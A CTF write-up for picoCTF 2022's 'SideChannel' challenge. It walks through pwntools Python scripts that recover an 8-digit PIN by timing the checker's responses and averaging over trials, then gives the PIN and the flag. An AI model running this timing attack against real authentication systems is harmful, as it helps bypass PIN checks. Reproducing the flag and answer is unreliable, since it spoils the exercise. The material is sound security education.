TJCSC
PresentationsCTFWriteups

Table of Contents

picoGym - SideChannel

by Brian Ho on 3/1/2024

SideChannel is a challenge from picoCTF 2022. It is in the ‘Forensics’ category and worth 400 points.

Description

There’s something fishy about this PIN-code checker, can you figure out the PIN and get the flag? Download the PIN checker program here pin_checker Once you’ve figured out the PIN (and gotten the checker program to accept it), connect to the master server using nc saturn.picoctf.net 50364 and provide it the PIN to get your flag.

Hints

  • Read about “timing-based side-channel attacks.”
  • Attempting to reverse-engineer or exploit the binary won’t help you, you can figure out the PIN just by interacting with it and measuring certain properties about it.
  • Don’t run your attacks against the master server, it is secured against them. The PIN code you get from the pin_checker binary is the same as the one for the master server.

Exploration

My first thoughts were to run the binary:

root@superComputer9000:/mnt/c/Users/Brian/pico/gym/forensics/sidechannel# ./pin_checker Please enter your 8-digit PIN code: 12345678 8 Checking PIN... Access denied. root@superComputer9000:/mnt/c/Users/Brian/pico/gym/forensics/sidechannel# ./pin_checker Please enter your 8-digit PIN code: 1 1 Incorrect length.

Okay. So the pin must be a length of 8, and if it is, the file attempts to validate the pin. Based on the hint about timing-based side-channel attacks, I can reasonably infer that my pathway towards the correct pin will involve the validation time in some way.

I created a basic script to take a pin as a command line argument and print the time taken by the program to process it:

from pwn import * import time import sys args = sys.argv[1:] #get command line arguments pin = args[0] #my command line argument io = process(['./pin_checker']) #run the file io.sendline(pin) io.recvline() #ignore line that asks for the pin io.recvline() #ignore line that prints length io.recvline() #Checking pin... start = time.time() #start timing during the processing of the pin received = io.recvline() #access denied message end = time.time() #the time it took to reach the access denied message/to process the pin io.close() print(f"{end-start}")

A simple test validated that my script worked.

root@superComputer9000:/mnt/c/Users/Brian/pico/gym/forensics/sidechannel# python3 writeup.py 00000000 [+] Starting local process './pin_checker': pid 3639 /mnt/c/Users/Brian/pico/gym/forensics/sidechannel/writeup.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes io.sendline(pin) [*] Stopped process './pin_checker' (pid 3639) 0.17139720916748047

I then played around with the command line argument to see how timing was relevant. After I sent the pin 40000000, I noticed that the processing time was significantly higher than every other digit.

root@superComputer9000:/mnt/c/Users/Brian/pico/gym/forensics/sidechannel# python3 writeup.py 40000000 [+] Starting local process './pin_checker': pid 3660 /mnt/c/Users/Brian/pico/gym/forensics/sidechannel/writeup.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes io.sendline(pin) [*] Stopped process './pin_checker' (pid 3660) 0.30582261085510254

Aha! This must mean that a higher processing time infers a correct digit!!! Let’s write a script to loop through each digit, finding the one that takes the most time to process and then adding it to my final digit!

from pwn import * import time def test_pin(pin): io = process(['./pin_checker']) io.sendline(pin) io.recvline() io.recvline() io.recvline() #Checking pin line start = time.time() received = io.recvline() end = time.time() io.close() return end - start def find_pin(): pin = "" for position in range(8): longest_time = 0 best_digit = '' for digit in range(10): test_pin_value = pin + str(digit) + "0" * (7 - position) time_taken = test_pin(test_pin_value) print(f"Testing za pin: {test_pin_value} - Time: {time_taken}") if time_taken > longest_time: longest_time = time_taken best_digit = str(digit) pin += best_digit print(f"Best digit for position {position+1}: {best_digit}") return pin if __name__ == "__main__": final_pin = find_pin() print(f"El pin: {final_pin}")

After sitting through an entire runthrough, I was excited to see that I received a final pin and that the script was working properly. However, when I tested the pin, it still said access denied. I thought maybe it was because of background programs, or perhaps python being weird, so I closed everything in the background and also put time.sleep(1) in my test_pin() function. However, after another runthrough, my pin was still being denied. And this time, some of the digits were different! Hmmmm.. what a conundrum.

Solution

I eventually came to realize that the timing was inconsistent. Sometimes, a number would randomly skyrocket in processing time, though incorrectly. I did notice though, that a few numbers were consistently high in processing time.

To address this, I made each PIN go under 5 different trials before returning the average time taken as the value to be compared in the find_pin() function.

from pwn import * import time def test_pin(pin, trials=5): times=[] for trial in range(trials): io = process(['./pin_checker']) #time.sleep(1) #try adding some delay for better accuracy io.sendline(pin) io.recvline() io.recvline() io.recvline() #Checking pin... start = time.time() received = io.recvline() end = time.time() io.close() times.append(end-start) return sum(times)/len(times) #putting time delay didnt do much... just run multiple trials and take average def find_pin(): pin = "" for position in range(8): longest_time = 0 best_digit = '' for digit in range(10): test_pin_value = pin + str(digit) + "0" * (7 - position) time_taken = test_pin(test_pin_value) print(f"Testing za pin: {test_pin_value} - Time: {time_taken}") if time_taken > longest_time: longest_time = time_taken best_digit = str(digit) pin += best_digit print(f"Best digit for position {position+1}: {best_digit}") return pin if __name__ == "__main__": final_pin = find_pin() print(f"El pin: {final_pin}")

After around 3 minutes of runtime, El pin: 48390513

Testing locally:

root@superComputer9000:/mnt/c/Users/Brian/pico/gym/forensics/sidechannel# ./pin_checker Please enter your 8-digit PIN code: 48390513 8 Checking PIN... Access granted. You may use your PIN to log into the master server.

Boom.

root@superComputer9000:/mnt/c/Users/Brian/pico/gym/forensics/sidechannel# nc saturn.picoctf.net 50364 Verifying that you are a human... Please enter the master PIN code: 48390513 Password correct. Here's your flag: picoCTF{t1m1ng_4tt4ck_9803bd25}

Flag

picoCTF{t1m1ng_4tt4ck_9803bd25}
TJCSC FacebookTJCSC CTFTJCSC Discord